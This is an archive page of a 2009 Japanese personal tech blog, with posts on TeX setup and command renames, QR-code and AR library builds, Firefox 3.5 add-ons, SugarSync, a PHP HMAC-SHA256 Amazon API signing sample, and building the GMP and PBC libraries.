(4) upjmpost.exe    ---> upmpost.exe

[qa:53349] コマンド名

なんかすごく重要なことをしれっと・・・.TeX Wikiを常に見ている人でないとTeXを使うのは難しいっていうことですか?

291 :132人目の素数さん:2009/07/20(月) 02:24:15
    今日更新のW32TeXで

    jbibtex → pbibtex

    というダイナミックな変更があったのでage

292 :132人目の素数さん:2009/07/20(月) 06:37:48
    >>291
    ぜんぜん詳しくないんだけど、ユーザサイドで変わることは何?
    bibファイルを処理するプログラムを変えるだけでOK?

293 :132人目の素数さん:2009/07/20(月) 07:43:14
    ハイ。
    (1) jbibtex.exe ---> pbibtex.exe
    (2) upjbibtex.exe ---> upbibtex.exe
    (3) jmpost.exe ---> pmpost.exe
    (4) upjmpost.exe ---> upmpost.exe

TeX総合スレッド Ⅷ

うーん.重大な変更ですよね?普通の人は気がつかないんじゃ・・・.もうちょっと大々的に告知してくれないと全然分かりませんよ.しかも,変更した翌日から別のプログラムに差し替えられているなんて・・・.ちょっとTeXにがっかりしました.

締切まであと21時間くらいなので,バリバリ要約文というかプロポーザル(ぇ)を書いているわけですが,新しいTeXセットをインストールしたら,jBibTeXが動かなくなった.っていうか,厳密に言えば動いてるんだけど,bibファイルがSJISじゃダメで,EUC-JPじゃないと食べなくなってる.なにこれ?どうしよう.Windowsなのに,bibファイルはEUC-JP??それはおかしいでしょ.助けてドラえもん!

capture_11082009_012108.jpg

赤枠はイメージです.マーカパターンはhiroを使っているので,パターンをシンボルで作り直せば,もうちょっとちゃんと認識するかと.

libdecodeqrでがんばって,複数(といっても2個)のQRコードを同時に認識させることはできた.理論上は何個でも認識するはずなのだが・・・.Webカメラで読み込んでいたり,QRコードは模様が細かかったり,歪み等の補正を何もしていなかったりと,いろいろな状況が重なり合って,2個が限界の上に,全く安定しない.これは困った.

というわけで,libdecodeqrでがんばるのもどうかと思ったので,ARToolKitとOpenCVとlibdecodeqrを組み合わせる方向でがんばってみようかと思う.

で.結局のところ,基本アイディアはQRコード上の初音ミクに戻るのだが,これはlibdecodeqrを使っていないようだし,座標変換してるみたい.座標変換で平面に持ち込めば,libdecodeqrで認識できると信じている.てか,libdecodeqrは読めないQRコードパターンが多いような気がする.特に,バージョンが高くなるとダメぽ.これはカメラの性能だろうか?

なんだか,気合いの入り具合が間違った方向に向いてきた・・・.まずいまずいまずい.もっとさらっと仕上げる予定だったのに!QRコード上の初音ミクのソースが公開されていないから,こんなに苦労するんだ!(責任転嫁)

諸事情で,QRコードを複数認識したい衝動に駆られた.で.libdecoreqrってのが便利らしいので,試してみた.現時点までで分かったこと.

  • OpenCVが予想以上に便利だった
  • libdecodeqrで複数QRコードを認識させるには,外側からのアプローチじゃダメそうなので,中身を弄らないとダメそうなことは理解した
  • QRコードの方がイメージしやすいと思ったんだけど,
  • あきらめてARToolKitで複数マーカ認識にした方が良いだろうか
  • 実はARToolKitはあまり得意じゃないです><;
  • ニコニコ技術部のソースファイル(もしくは考え方)がみたい・・・
  • 具体的にはQRコード上のミク

おなかすいた.

DTPに使用するために、数式の部品を作る方法を考えてみる。

(中略)

コマンドラインもワビサビの効いた奥深い世界なんだけど、GUIでもうちょっとなんとかならんのか、みたいに思う人もいるかもしれない。(中略)あるんだな、これが。こういうところが至れり尽くだと実感する。

TeXことはじめ~TeXで数式を書く - 名もないテクノ手

という感じで紹介されていた,TeXで書いた数式をepsでしかもアウトライン作成済で出力してくれちゃうソフトが,TeX2imgです.元記事自体はMac OSを前提にしているんですが,TeX2img自体はWindows用もあります.TeXPointの無償版が見つからなくて困っている人や,Wordで美しい数式を使いたいという偏屈な人にはもってこいのソフトウェアではないでしょうか.オススメです.

090723_cc01.png

あーさむ!オレ愛用で有名なClassic CompactがFirefox3.5に対応しました!

090723_cc02.png

今までは独自に微調整してましたが,やっぱり正式版は気分が良いです.すがすがしいです.最高です.あーさむです.

200907241107追記:

090723_cc03.png

これがClassic Compactを使う前の独自に高さ調整されたFIrefox3.5.戻る進むボタンが食い込んでるのがクール.

以前から簡単にPC間同期しちゃうオンラインストレージサービスのDropboxを利用していた.Dropboxの不便さについては,少し述べたことがある.難としては,自由なフォルダを同期させることができないところが大きい.そのため,今はsubstを使ってフォルダをドライブに割り当てて使っている.まぁ,これはこれで.

そこにきて昨今,SugarSyncという新しいサービスが注目を集めている.どのくらいの注目を集めているかって,泣いちゃうくらい.しかも,Dropboxを超えたとまで言われている.実は騒がれ始めてすぐに,アカウントだけは作っていたのだが,クライアントソフトを導入しなくてはならない面倒くささ(ぇ?)があって,ちょっと放置していたのだが,SugarSyncから「おい!クライアントソフトをダウンロードしないと使えないぜ?わかってる?」みたいなメールが届くので,「わかっているぞ」アピールをしておきたいと思う.導入はクライアントソフトをダウンロードして,インストールすれば宜しい.インストール終盤にはどこのフォルダを同期するか?と訊かれます.

090721_ss02.png

赤枠で囲んだAdd Folders from this Computerをクリックして同期するフォルダを指定できます.任意のフォルダを,しかも複数指定できますよ!うっほほー!便利すぎワロタ.同期したフォルダはこのような感じ.

090721_ss03.png

フォルダやファイルの色が緑色なのはWindowsの暗号化機能なので,DropboxやSugarSyncとは関係ありません.見た目で大きく違うのは,Dropboxの場合は,Subversionのような同期されてるよマークが付くのに対して,SugarSyncは何も変化がありません.同期されているのかどうかすら分からない自然な仕上がり.ちなみに,オンライン上にアップロードされる際はSSLで,オンラインストレージではAES-128bitで保管されるそうです.クライアントソフトもDropboxよりちょっと軽量のようです.

090721_ss01.png

SugarSyncとDropboxなどのサービスとの比較はここを見て下さい.基本的に,Dropboxに勝れども劣らない仕様になっています.なんといっても,無料で使える領域が,2GB+500MB=2.5GBで,Dropboxの2GBを超えていて幸せ♪

ここでみんなに重要なお知らせだ.このブログを読んでいる君とボクとの合い言葉だ!この記事を読んで「SugarSyncいいなぁ」ってちょっとでも思ってしまった君!君だよ君!SugarSyncを試す際には,以下のリンクを使ってくれ.

https://www.sugarsync.com/referral?rf=bv2atxx88exc

このリンクを使ってアカウントを作成すると,君の無料で使える領域が,2GB+500MB=2.5GBになるぞ!これはボクから君へのプレゼントだ!ようこそSugarSyncへ!ただし,8月31日までなので,その辺は注意されたい.さぁ,みんな急ぐんだ!

まとめ:
Dropboxを利用している人はSugarSyncに移行しても困らないと思います.今ならボクの紹介で+500MBだよ!また,iPhone,BlackBerry,Windows Mobileの専用クライアントもあるから,便利に使うことができるぞ.さぁ,今すぐオンラインサインアップで,甘い同期の世界に!!

関連:
Dropboxを試してみた - 4403 is written
Dropboxじゃ仕事できない - 4403 is written
Dropboxを超えた?オンラインストレージ「SugarSync」 - frnk*blog
SugarSync:もうDropboxはいらない!?その高機能っぷりに泣いた。無料。767

200907212100追記:
再起動したら変なカラスマークが付いてました.DropboxやSubversion相当ですね.

090721_ss04.png

Microsoft Office 2010テクニカル プレビュー プログラムにご参加いただきましてありがとうございます。本メールでは、ベータ プログラムにご参加いただくための手順が記載されていますので、ご確認ください。

うーん.

090715_office2010_01.png

とりあえず,ダウンロード中.仕事のメインPCにあんまり深く考えずに入れてみようかなっと.

以前,様々なアドオンの未対応で,移行が出来ない旨をお知らせしましたが,すったもんだの末に,移行が完了されました.というわけで,未対応だったアドオンの対応状況と3.5への移行について,簡単にまとめ.

まず,3.5登場時点でダメだったアドオンは以下の通り.

  • Classic Compact
  • dragdropupload
  • Google Gears
  • Google ノートブック
  • pastego
  • SQLite Optimizer
  • SwitchProxy Tool
  • Tab Mix Plus
  • userChrome.js

順番に説明していきます.

Classic Compact
これはダメです.というか,探してないです.重要度は高くないので,とりあえず,後回し.

・dragdropupload
1.8のdev版で対応です.うっしゃー!

・Google Gears
非公式版で対応です.うっしゃー!

・Googleノートブック
install.rdf書き換えで余裕でした.あざーす!

pastego
いつの間にか対応してます.最初から使えた??

・SQLite Optimizer
消しました.使わないので.

・SwitchProxy Tool
install.rdf書き換えで,Firefox3.5を台無しにしてくれます.よく分かりません.Nightly Tester Toolsを入れて調子が悪くなったのは,どうやらこいつの所為みたい.原因特定です.仕方ないので,後継のMultiproxy Switchで余裕でした.あざーす!

・Tab Mix Plus
開発版で余裕っす.うっしゃー!

・userChrome.js
後継のuserChromeJSで余裕ッス.うっしゃー!

まとめ:
原因はSwitchProxy Tool.こやつを外して,無事にFirefox3.5へ移行できました.良かった良かった.

Mozillaは2009年7月1日,オープンソースWebブラウザFirefoxの新版「Firefox 3.5」を正式リリースした。Windows, Linux, Max OS X版の,日本語など70以上の言語対応版が同時リリースされた。

Firefox3.5正式リリース,「Firefox 3.5の灯」も公開:ITpro

ダメだ.全然ダメだ.試しに更新してみたけど,全く使い物にならない.ダメなアドオンは・・・.

  • Classic Compact
  • dragdropupload
  • Google Gears
  • Google ノートブック
  • pastego
  • SQLite Optimizer
  • SwitchProxy Tool
  • Tab Mix Plus
  • userChrome.js

この中で,dragdropuploadとpastegoとSQLite Optimizerは動かなくても良いけど,それ以外は動かないと困る.TMPは最新の開発版で動くことは確認した.他のを動かすためにNightly Tester Toolsを入れたら,何も操作できないというワロス状態に突入して,なんのこっちゃ.

というわけで,仕方がないので,再び3.0.11に戻ってきました.Gearsが使えないのはかなり困るよなぁ・・・.userChrome.jsもいるよなぁ・・・.あと,SSL時にロケーションバーが黄色くならなくなったけど,あれって,どこで設定するんだっけ??

TortoiseGitはまだ開発段階のソフトウェアではあるが、2009年6月5日にリリースされたバージョン0.7.2.0では多くの機能が実装され、実用的に動作するようになった。

実用レベルに達したWindows向けGitクライアント「TortoiseGit」でGitを始めよう - SourceForge.JP Magazine

ななな,なんだってー!?というわけで,早速,TortoiseGitを試してみた.ファイル一式のダウンロードはこちらから.インストールはmsysgit,tortoisegit,日本語化の順番でよいと思います.インストールはデフォルトのまま次へを押しまくれば良いと思います.

で.試してみた.

090622_tortoisegit01.png

だめだー!コミットできねー!ここで止まっちゃいます.というわけで,まだまだTortoiseSVNにお世話になります.

関連:
[超絶速報]TortoiseGitがお目見え - 4403 is written

200906221332追記:
ファイル名にいわゆるダメ文字が含まれているとダメなことが確認された.

090622_tortoisegit02.png 090622_tortoisegit03.png

「WindowsにTeXを入れる方法を書いたら意外と読まれるんじゃない?」という神の声が聞こえてきた(だいぶ前の話ですが)ので,書いてみようと思う.タイトルは当然ながら,ホッテントリメーカーによります.推定49usersでお願いします.第壱話とありますが,続く予定はありません.

前提環境は,Windows XP Pro SP3で,インターネットが使えることです.それ以外に細かい前提はありません.万人受けでいこう.基本的な説明はTeX Wikiが良いと思います.

TeXインストーラ3で瞬殺してみよう
元も子もない説明ですが,TeXインストーラ3を使えばいいと思うよ.マジで.何と言っても,初心者オススメ度★★★★★だし.一応説明しますと,TeXインストーラ3をダウンロードして,解凍します.解凍にはLhaplus辺りがオススメですが,何でも良いと思います.解凍すると,次のようになると思います.

capture_26052009_150734.png

この中にあるkakuto3.exeを使います.このkakuto3は角籐さんのW32TeXをインストールするための便利ツールです.昔はね.これを1つ1つダウンロードしてね.手動で入れていたんだよ(以下ry.kakuto3を実行すると,以下の画面が表示されます.

capture_26052009_150801.png

ハッキリと言わせていただければ,プロキシ等の問題がなければ,この後は何も考えずに「次へ」をクリックし続けて下さい.特に問題がないと思います.そうすると,以下のような画面が表示されます.

capture_26052009_150849.png

「成功」「成功」と頼もしいメッセージがいっぱい出ると,次の画面に遷移します.

capture_26052009_150926.png

これもよく分からなければ,迷うことなく,次の画面がでるまで「次へ」をクリックしましょう.

capture_26052009_150953.png

これは回線速度等によって結構な時間がかかります.ココアでも飲みながら待ちましょう.

capture_26052009_151559.png

ダウンロードが終了すると,インストール中となって,ガシガシとインストールされていきます.頼もしい.

capture_26052009_151829.png

続いて,Ghostscriptっていう縁の下の力持ちがインストールされます.邪魔しちゃダメです.

capture_26052009_151904.png

Ghostscriptをどこに入れますか?と訊かれるので,デフォルトのままでも良いんですが,TeXに関するものは同じ場所にまとめておいた方が,気分的にいいんじゃないですか?というわけで,「c:\tex\gs」を指定します.バックスラッシュは¥マークです.

capture_26052009_151909.png

指定したフォルダにゴリゴリとインストールされますので,大人しく待ちます.

capture_26052009_151934.png

続いて,GSviewという使うかどうかよく分からないけど,ないならないで困るソフトウェアを導入します.「Setup」をクリックします.

capture_26052009_151946.png

言語の選択があるので,Japaneaseを・・・ってない!!仕方がないので,Englishを選択します.いや,それ以外でも良いですけど・・・.

capture_26052009_152006.png

後は「Next」を押していきます.チェックボックス等はそのままでokです.インストール先も上のようになっていると思います.ぶっちゃけ,どこでも大丈夫です.

capture_26052009_152016.png

インストールが成功したらしいので,「Exit」をクリックします.

capture_26052009_152045.png

続いて,dvioutというTeXを変換した結果を見るためのソフトを入れます.無くてもいいかもしれませんが,あると便利です.これもそのまま「OK」でokです.

capture_26052009_152051.png

最終的には,このような画面が表示されて「成功」という文字が並んでいればokです.並んでなかったら・・・ごめんなさい.もう1度やり直してみて,それでも上手くいかなかったら・・・.ごめんなさい.

capture_26052009_152055.png

再起動しましょうと言われるので,存分に再起動します.再起動する時は本気で.

TeXがインストールされちゃったので,使ってみる
再起動できたら,もうTeXが使えます.マジで!?って感じです.良い時代になったものだ.TeXを簡単に書くためのソフトウェアとして,WinShellを導入してみましょう.説明はやっぱりTeX Wikiが良いでしょう.まずは,WinShellの公式サイトに行きます.

090527_winshell01.png

左側の「Download WinShell」をクリック!

090527_winshell02.png

上部にある「WinShell330.zip」をクリックして,ダウンロード.WinShell330.exeでも良いですよ.こっちはインストーラだから,もっと簡単だと思います.やったこと無いけど.ちなみに,330ってのは現時点であって,皆さんがこのエントリを読んでいる時には違う番号になっているかもしれませんが,その辺は臨機応変に.ダウンロードしたWinShell330.zipを解凍しましょう.

capture_26052009_152552.png

解凍したフォルダの中にあるWinShell.exeを実行します.

capture_26052009_152609.png

「Choose Language」と英語で尋ねられるので,日本語を英語で選びます.難しいですね.わかります.

capture_26052009_152646.png

起動するとこのような画面になると思うので,左側のツリーにある「demo」→「ファイル」→「main.tex」と選択すると,上と同じ画面になると思います.

capture_26052009_152708.png

続いて,上部ツールバーにある赤枠で括った左側のボタンを押します.そうすると,下の「出力」と書かれた部分に文字がババババっと表示されると思います.「出力」の表示が収まったら,赤枠の右のボタンを押します.PDFって文字に虫眼鏡マークのやつです.

capture_26052009_152837.png

PDFが表示されたら,okです.お疲れさまでした.後は自由にTeXワールドに染まればいいんだと思います.

まとめ:
TeXインストーラ3を使えば,WindowsへのTeX導入は簡単.そして,奥村氏の美文書作成入門を買えば,一通り宜しいかと思います.簡単ですねっ.

理系トップクラスの大学院生でこの体たらくとは.CS系の学生には常識中の常識だと思うが,浮動小数点は信用ならないから,正確な演算結果が欲しいなら固定小数点でやる.以下,実証コードをC言語で.コンパイラはBCC32 5.5.1です.

#include <stdio.h>
union test {
double a;
int b[2];
} test;
void main() {
union test a;

a.a = 0.1;
printf("%lf=%x %x\n", a.a, a.b[1], a.b[0]);

a.a = 1.0;
a.a -= 0.9;
printf("%lf=%x %x\n", a.a, a.b[1], a.b[0]);

a.a = 0.09;
a.a += 0.01;
printf("%lf=%x %x\n", a.a, a.b[1], a.b[0]);
}

実行結果はこんな感じ.

C:\Temp>test
0.100000=3fb99999 9999999a
0.100000=3fb99999 99999998
0.100000=3fb99999 99999999

JK.0.1っていう数字を正確に表現できる君は,コンピュータよりも圧倒的に優れているよ.間違いなく.

関連:
Windows の更新の電卓のアクセサリ
グーグルの電卓機能が計算ミス:ニュース - CNET Japan

せっかくだからまとめ.こっちの環境は,Windows XP Pro SP3にVisual Studio 2008 Proです.

ARToolKit on Visual Studio 2008
なんというか,工学ナビ様の通りにやればいいと思うよ.このガイド通りで,トラブルフリーです.最高♪

PTAM on Visual Studio 2008 w/ Web-Camera
こっちはちょっと手こずる.手こずるっていっても,時間がかかるっていうだけで,以下の手順に従えば,できます.今回は現時点での最新ソース(v1.0-r111, Mon, 11 May 2009 16:38:02 +0100)を利用しています.基本的なガイドは以下の通り.

マーカレスAR(PTAM)のソースコードを動かしてみた(WindowsXP VisualC++) | happymeme

今回は最新ソースのREADME.txtに従って,TooN,libcvd,gvars3をCVSからとってくる.ガイド通りだと,build\vc2005となっているが,最新ソースのREADME.txtで示されているリビジョンをダウンロードすると,build\vc2008がありますので,それを使います・・・と見せかけて,slnが変になってるのか,読み込めないので,結局build\vc2005を使うのでした.どんまい!てか,gvars3だけ上手くコンパイルできない.config.hがない件については,config.h.inをリネームします.もう1つのエラーは,以下の通り.

以前のバージョンのソースを参考に、次の行を、

template static T& get(const std::string& name, const T& default_val=DefaultValue::val(), int flags=0);

次のように書き換える。

template static T& get(const std::string& name, const T& default_val=T(), int flags=0);

とりあえず、良しとする。

自己満足なBLOG

えーと.上手くいきません.上手くいかないので,gvars3.hの261行目を以下のように書き換える.

template<class T> static T& get(const std::string& name,
const T& default_val=T(), int flags=0);

実際には改行しないで下さい.準備が整ったら,PTAMをWebカメラで使えるようにいじります.もちろん,工学ナビ様の思し召しのままに.手順としては簡単に述べると以下の通り.VideoSource.hとVideoSource_Win32_EWCLIB.ccをPTAMのルートに.PTAM\Build\Win32にあるVideoSource_Win32_CMU1394.cc以外の3ファイルをPTAM直下にコピー.CameraCalibrator.vcorojの208行目とPTAM.vcprojの368行目を以下の通り書き換える.

書き換え前:RelativePath=".\VideoSource_Win32_CMU1394.cc"
書き換え後:RelativePath=".\VideoSource_Win32_EWCLIB.cc"

後は神に祈るのみ.あ.dxtrans.hの件を忘れていた.

そうですね。
ここにjiapeiさんが書かれている方法を元に編集したら若干警告はあるもののビルドできました。
SampleGrabber も使えました。
私の環境における編集内容は下記です。
//#include "dxtrans.h" ・・・ 495行目
IDxtCompositor //: public IDXEffect ・・・ 979行目
IDxtAlphaSetter //: public IDXEffect  ・・・1484行目
IDxtJpeg //: public IDXEffect ・・・1725行目
IDxtKey //: public IDXEffect ・・・2400行目

オラ検: DirectShowと戦うスレ Part 2 (990) via DirectX SDK November 2007にdxtrans.hが入っていない件について - DenpaFreak

これでコンパイルはできたが,Webカメラがないので,続きは月曜日以降に・・・.

関連:
SourceForge.net: ARToolKit
Parallel Tracking and Mapping for Small AR Workspaces (PTAM)
工学ナビの中の人の研究と周辺 ゼロからはじめるARToolKit on VisualC++ 2008 Express Edition
マーカレスAR(PTAM)のソースコードを動かしてみた(WindowsXP VisualC++) | happymeme
自己満足なBLOG
工学ナビ - BACKYARD
DirectX SDK November 2007にdxtrans.hが入っていない件について - DenpaFreak
オラ検: DirectShowと戦うスレ Part 2 (990)
マーカーレスAR技術「PTAM」をDVカメラで動作させてみる - program - 釣堀.net
PTAMをがんばってみる - 4403 is written

名称変更にともない、Product Advertising API にリクエストを送信いただく都度、認証のための電子署名を含めていただくことが必要になります。この変更は、2009年5月11日より3ヶ月の間の移行期 間の後、2009年8月15日には、Product Advertising API へ送信されるリクエストは全て認証されることとなり、認証されない場合、リクエストは処理されなくなります。

Amazon アソシエイト・プログラム(アフィリエイト) 公式ブログ: Amazon アソシエイト Web サービスの名称変更および署名認証についてのお知らせ

だそうです.まぁ,使ってないので関係ないですけど.REST的にはHMAC-SHAですよね.そんな理由で,WAISの発表の署名部分はHMAC-SHA256を採用していたんですけど,座長に「非対称オススメ」って言われちゃったので,うん・・・.英語力がないから言い返せない辺り,弱い.研究的な話でいけば,確かにPKI上でやるんだろうし,RSA-SHA256とかでいいかもしれない.いいかもしれなくないのは,URL長の問題だけど,これはRFC2616的には規定がない.RFCに規定がないからって制限がないわけでもないわけで,理論上は大丈夫とか,モダンブラウザでは大丈夫とか,そんな次元.個人的には携帯のブラウザでも大丈夫なように,HMAC-SHA256くらいの長さが関の山だと思うのです.RSA-SHA256は長すぎです.REST的に気分イクナイ!楕円曲線上の離散対数問題が云々だから,160bitって言えばいいのかな?簡単に実装できなさそうだから言いたくないけど.

と,今書いている論文の愚痴をこぼしても〆切が延びるわけでも,時間が増えるわけでも,執筆速度が上がるわけでも,なんでもないので,さっさと大人しく書けと,オレはオレに言いたい.

さて,タイトルと内容が不一致になっているので,HMAC-SHA256を実装する時の話をチラッと書いて,お茶を濁しておく.PHPでHMAC-SHA256する話.非常に簡単だから,良かったね.

algo
選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など…)。

PHP: hash_hmac - Manual

さて,眠いので寝ると見せかけて,3章を仕上げる.

関連:
[を] アマゾンAPIを使うのに2009年8月15日から認証が必要になるらしい

200905102316追記:
PHPでこれら云々を簡単にやるPEARがあるようだ.Services_Amazonっていうらしい.便利な世の中です.なお,Perlの場合はdankogai氏作成のURI::Amazon::APAが使えるっぽい.良い世の中だ.なお,Rubyの場合はここが参考になるかと.

200905110122追記:
各言語用のまとめがありました.PHP,Perl,Ruby,Pythonがあります.Javaとか,JavaScriptとかはないですね.てか,みんなは一体なんの言語で書いているんだろう?オレなら,PHPかPerlですね.Rubyもいいなぁ・・・.

200905111052追記:
むしゃくしゃしてサンプルを書いてみた@PHP.

<?php
$key = '1234567890';
$req = array(
'AWSAccessKeyId=00000000000000000000',
'ItemId=0679722769',
'Operation=ItemLookup',
'ResponseGroup=ItemAttributes%2COffers%2CImages%2CReviews',
'Service=AWSECommerceService',
'Timestamp=2009-01-01T12%3A00%3A00Z',
'Version=2009-01-06');
$req = join('&', $req);
$message = array('GET', 'webservices.amazon.com', '/onca/xml', $req);
$message = join("\n", $message);
$hash = hash_hmac('sha256', $message, $key, 'true');
echo base64_encode($hash);
?>

表題の通りなんですが,LaTeXにPDFを図として挿入するのは簡単.Bounding Boxの問題だけで,ebbやらxbbやらをやってもいいし,bbを書いてもいいだろうし・・・.って思っていたら,mediabb.styっていう便利なものがあるらしい.これは便利だ.

ということは,パワポで書いた図をLaTeXに流し込むには,イラレ経由でepsにするよりも,パワポ2007からPDFに出力して取り込んだ方が良いってことかな?フォント埋め込みはどうなるのかな?パワポ→PDF→イラレ→アウトライン化→epsがいい?うーん.文字が入ると面倒くさそうだ.こうなってくると,図にするものはなんでもかんでもPDFに変換したくなってくるな.やっぱり,Acrobatを買わないとダメかなぁ・・・.

貧乏性のオレとしては,商用ソフトの利用はなるべく最小限にしたい.今だって,WindowsとOfficeとイラレとATOKくらいで,他は実にフリーソフトでまかなえちゃいます.ぶっちゃけ,仕事で使うのはWordとExcelとPowerPointとLaTeXだし.閲覧しかしない前提なら,OpenOffice.orgでも事足りそう.OSだって,無用のトラブルを避けるためにWindowsだけど,なんとなくLinuxでもやっていけると思う.職務上はOfficeの互換性だけが問題であって,Office2007がODF対応になった今,ODFがメインになれば,OOoでもやっていけそうな気がする.

思うにはね.なんだかんだで,オープンソースとフリーソフトだけでも,十分に実用的な環境は準備できると思うんですよ.「Officeがないから何もできない!」なんて迷信です.都市伝説です.プレゼンは汎用性を考えて,LaTeX+beamer+PDFビュワでしょ.

200905061505追記:

PPTで書いた図を取り込むにはPSプリンタに対しEPSでファイルに印刷したもののBounding Boxを加工して使うのが普通だと思っていた。

Computer-Cryptologist's Diary (2009/5)

たぶんそれが最もスタンダードなやり方だと思います.しかしながら,当方の環境ではPSプリンタでEPSを作った場合,日本語フォントが含まれているとその処置が面倒だったような記憶があります.それで結局,イラレでアウトライン作っていたので,それなら最初からイラレにコピペすればいいじゃんって思い始めて,そのうち,パワポのコピペをイラレに貼り付けて,上からトレースをし始めて,現在はpicture環境を使うに至っております.なんとなく,PSプリンタの設定が悪い気がするけど,picture環境使いになっちゃったから,今更・・・.

Linuxでやれば簡単なのに!(挨拶)

  1. おもむろに,VMware Playerをダウンロードして,インストールする.
  2. 適当なUbuntuのVMware用仮想マシンを入手する.
  3. 仮想マシンのUbuntuを起動させる.
  4. 適当に,apt-get updateやら,apt-get upgradeやらをやる.
  5. GMPを入れるために,以下のコマンドを打つ.
    $ sudo apt-get install libgmp3-dev
  6. PBC Libraryをダウンロードする.
    $ wget http://crypto.stanford.edu/pbc/files/pbc-0.4.18.tar.gz
  7. 余裕で解凍する.
    $ tar zxvf pbc-0.4.18.tar.gz
  8. ディレクトリに潜って,例のコマンドを放つ
    $ ./cofigure
    $ make
    $ sudo make install
  9. prefixを付けないと/usr/localに入れられるので,コンパイルは以下のように.
    $ gcc -o foo foo.c -I /usr/local/include/pbc -L /usr/local/lib
    -Wl,-rpath /usr/local/lib -l pbc

ね.簡単でしょ?

関連:
Visual Studio 2008でGMPを使う方法 - 4403 is written

20090428-143741-45501500.gif

Linuxでやれば簡単なのに!(挨拶)

Visual Studio 2008でGMPを使う方法を書いておく.備忘録.環境はWindows XP Pro SP3に,Visual Studio 2008 Proです.基本方針はこれを参考にしてます.手順内に出てくるリンク切れの参考サイトはこっち

  1. なにはなくとも,GMP本体をダウンロードする.2009年4月28日時点では4.3.0が最新のようだが,ビルドに必要なファイルが4.2.4を前提にしているらしいので,4.2.4をダウンロード(直リン注意!)する.なお,4.3.0に4.2.4用のビルドファイルを適用してみたが,ダメだった.どこをどう直せばいいのか,皆目見当もつかないくらいにエラーが出たので,今後の課題に.
  2. ダウンロードしたgmp-4.2.4.tar.gzを展開する.ここでは,c:\gmpとする.
  3. このサイトで提供しているgmp-4.2.4.vc9.zipをダウンロードして,解凍する.解凍したファイルをc:\gmpに上書きする.
  4. C:\gmp\build.vc9\yasm.rulesをC:\Program Files\Microsoft Visual Studio 9\VC\VCProjectDefaultsにコピーする.
  5. YASMから,適切なバイナリ(例えば,yasm-0.8.0-win32.exe)をダウンロードし,yasm.exeにリネームして,C:\Program Files\Microsoft Visual Studio 9\VC\binにコピーする.
  6. C:\gmp\build.vc9\gmp.slnを開くと,エラーが4回くらい出るので,無視します.これは,異なるプラットフォームだからだそうですが,Core2でコンパイルしたいなぁ・・・.何故かエラーになる.どうやるんだろう?OSが64ビットじゃないから?
  7. gen-bases, gen-fac_ui, gen-fib, gen-psqrの4つをビルドしまくる.
  8. dll_gmp_p4とlib_gmp_p4をビルドる.
  9. lib_gmpxxをビルドる.
  10. c:\gmp\build.vc9\dll\Win32\(Debug|Release)\にdllファイルが,c:\gmp\build.vc9\lib\Win32\(Debug|Release)\にlibファイルができます.
  11. c:\gmpにあるヘッダファイルをC:\Program Files\Microsoft Visual Studio 9\VC\includeに,ビルドされたlibファイルをC:\Program Files\Microsoft Visual Studio 9\VC\libにコピー.

これでok.続いて,GMPを用いたコードをテストします.以下のコードをコンパイルすることを考えましょう.

#include<iostream>
#include<gmpxx.h>
using namespace std;

mpz_class factorial(int val){
    mpz_class result = 1;
    for(int i=1; i<=val; i++) result *= i;
    return result;
}

int main(void){
    mpz_class result = factorial(300);
    cout << result.get_str() << endl;
    return 0;
}

Windows 環境下での GMP の利用法

結果は,こんな感じ.

090428_gmp01.png

あーさむ.ただし,何故かコンパイル時にエラーが出ることがある.その場合は,静的リンクを設定してみて下さい.

関連:
Windows 環境下での GMP の利用法
A Native GMP Port Using Microsoft Visual Studio

はてなブックマークFirefox拡張は、はてなブックマークをより便利に活用するための、Firefoxブラウザ専用の拡張機能。はてなブックマークに追加したページをサイドバーやツールバーに表示したり、過去のデータから高速に検索・参照したりと、オンライン上に保存したブックマークデータをまるでブラウザの一機能のように活用することができます。

はてなブックマークFirefox拡張で新しいインターネットを体験しよう

はてな公式のFirefox拡張です.今まではSBMカウンタを使っていましたが,はてな以外を無効にしてたりするので,公式の方がいいかなって思って入れてみた.後発だけあって,十分です.いいよーいいよー.

思うところがあって,スクレイパを書いてみた.言語は何でも良かったんだけど,何となくperlで.rubyの方が資料が豊富そうだったけど,書いたことがないので,時間がない今回は却下.RoRは便利そうだから,使ってみた方がいいような気がするけど・・・.

ちゅーわけで,WWW::MechanizeとWeb::ScraperにXPathでやりました.コメントとか無駄がいっぱいなのに,たった68行でやりたいことを実装できました.幸せー.

参考にしたサイトを以下に列挙.

今までphpで"(ダブルクォート)と、'(シングルクォート)を使い分ける際、多少の基準はあれど、割と雰囲気でやってしまってました。

phpにおける、"(ダブルクォート)と、'(シングルクォート)の使い分け - カサヒラボ

両方使えることは知っていたけど,オレも雰囲気でやっていた.基本的には,CやJavaの慣れから,デフォがダブルクォートで,HTMLをechoするときにシングルクォートという感じでした.そして,その基本方針は完全に間違っていた.

文字列内での変数展開

  1. "(ダブルクォート)で括った場合とヒアドキュメントでは変数展開される
  2. '(シングルクォート)で括った場合には変数展開されない

PHPスクリプト講座:文字列内での変数展開 -- そふぃのphp入門

ひぃ.オレのでたらめさ加減が,ばれまくり.適当じゃダメじゃないですか!てか,ヒアドキュメントで変数展開できるのか・・・.echo祭やってたよw.しかも,こんな情報まで・・・.

この結果を見ると、シングルクォート連結が一番速いようだ。
最も速かった回数は、シングルクォート連結がほぼ確実に一番だ。
しかし、平均処理時間はシングルクォート連結が速いときと
ダブルクォート連結が速いときがある。

Forget It Not: PHPの文字列連結のスピード

ダブルクォートに結合演算子で繋ぎまくってたオレ,完全に涙目.ダメコーディングの極み.というわけで,まだ時間があるから,激しく全コードをリファインしようかなっと.

先日,IPSJのオンライン化について触れた際に,論文誌の新しいスタイルファイルはA4横で見やすいと述べたわけだ.再掲しますが,このような感じです.

090128_ipsj02.png

見やすいですよねぇ.しかしながら,実際に執筆する側になってみると,途端に問題と出くわした.こんにちは,こんにちは.IPSJからフォーマットをダウンロードして,解凍して,ソースを弄ることなく,叩いたコマンドは以下の通り.

>platex sample.tex
>platex sample.tex
>dvipdfmx sample.dvi
>pdfopen --file sample.pdf

でてきた結果はこんな感じ.この様だよ.

090224_ipsj01.png

なんてこったい.紙がlandscapeしてない・・・.くやしい.みんなAcrobatを使うんですね.金持ちですね.dvipdfmxなんてダメですか?ダメじゃないですよね?というわけで,調べてみた.

090224_dvipdfmx01.png

-lオプションですね.わかります.っておい!いちいちコマンド叩けってか!M's TeX Helperでボタンポチポチなのに・・・.というわけで,プリアンブルでどうにかならんかと調べてみた.

tex ソースのプリアンブルで次の1行を書けば、dvipdfmx に -l オプションを指定せずとも用紙を landscape にすることができます。

